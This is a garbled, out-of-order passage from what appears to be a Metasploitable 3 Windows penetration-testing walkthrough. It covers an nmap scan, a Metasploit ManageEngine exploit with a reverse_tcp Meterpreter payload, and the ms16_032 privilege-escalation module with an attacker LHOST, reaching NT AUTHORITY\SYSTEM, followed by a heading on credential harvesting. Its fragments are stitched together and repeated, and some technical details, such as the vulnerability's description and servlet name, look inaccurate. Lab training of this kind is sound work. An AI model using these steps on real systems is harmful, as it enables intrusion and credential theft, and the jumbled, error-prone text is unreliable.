Metasploitable 3 Windows Walkthrough !!top!! Jun 2026

Before attacking, identify the target and its open services.

We’ll cover three distinct attack vectors.

Misconfigured applications like Tomcat often store credentials in plaintext configuration files. After gaining initial access, check directories such as:

Metasploitable 3 (Windows) Write-up — Part I: FTP (PORT 21) metasploitable 3 windows walkthrough

This aggressive scan will reveal a wide variety of services that form the attack surface of Metasploitable 3. Expect to see a list of open ports like:

vulnerability. Exploiting this often leads to the discovery of cleartext passwords or hashes within the application's configuration files, which can be reused across other services—a hallmark of poor credential hygiene. Phase IV: Privilege Escalation The goal on a Windows target is always NT AUTHORITY\SYSTEM . Metasploitable 3 offers several paths: Insecure File Permissions:

You have a few options for installation. Choose the one that best fits your technical comfort level. Before attacking, identify the target and its open services

Whether you are targeting the or VMware deployment of Metasploitable 3

This guide is for educational purposes only. Only test systems you own or have explicit permission to assess.

nmap -p- -sV [target_ip]

Metasploit provides a highly effective module that cross-references the target system's patch level against known local exploits. Background your current session: meterpreter > background Use code with caution. Load the local exploit suggester:

Metasploitable 3 was designed to be built from source using Vagrant and Packer, but community tools have simplified the process significantly.

Privilege escalation involves identifying misconfigurations—such as insecure service permissions or unpatched kernel vulnerabilities—that allow a user to gain higher-level access, such as "NT AUTHORITY\SYSTEM." Analyzing these paths helps administrators implement the Principle of Least Privilege. 2. Credential Security and Password Hashing After gaining initial access, check directories such as:

Metasploitable 3 often includes an outdated version of ManageEngine which is susceptible to a Java Deserialization vulnerability (CVE-2015-8249). exploit/windows/http/manageengine_connectionid_write windows/meterpreter/reverse_tcp : The exploit uploads a malicious payload via the ConnectionId parameter in the FileDownloadServlet

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set SESSION 1 set LHOST 192.168.56.102 exploit Use code with caution. Upon success, a new Meterpreter session will open. Verify your elevated permissions: meterpreter > getuid Server username: NT AUTHORITY\SYSTEM Use code with caution. 6. Phase 5: Pillaging and Credential Harvesting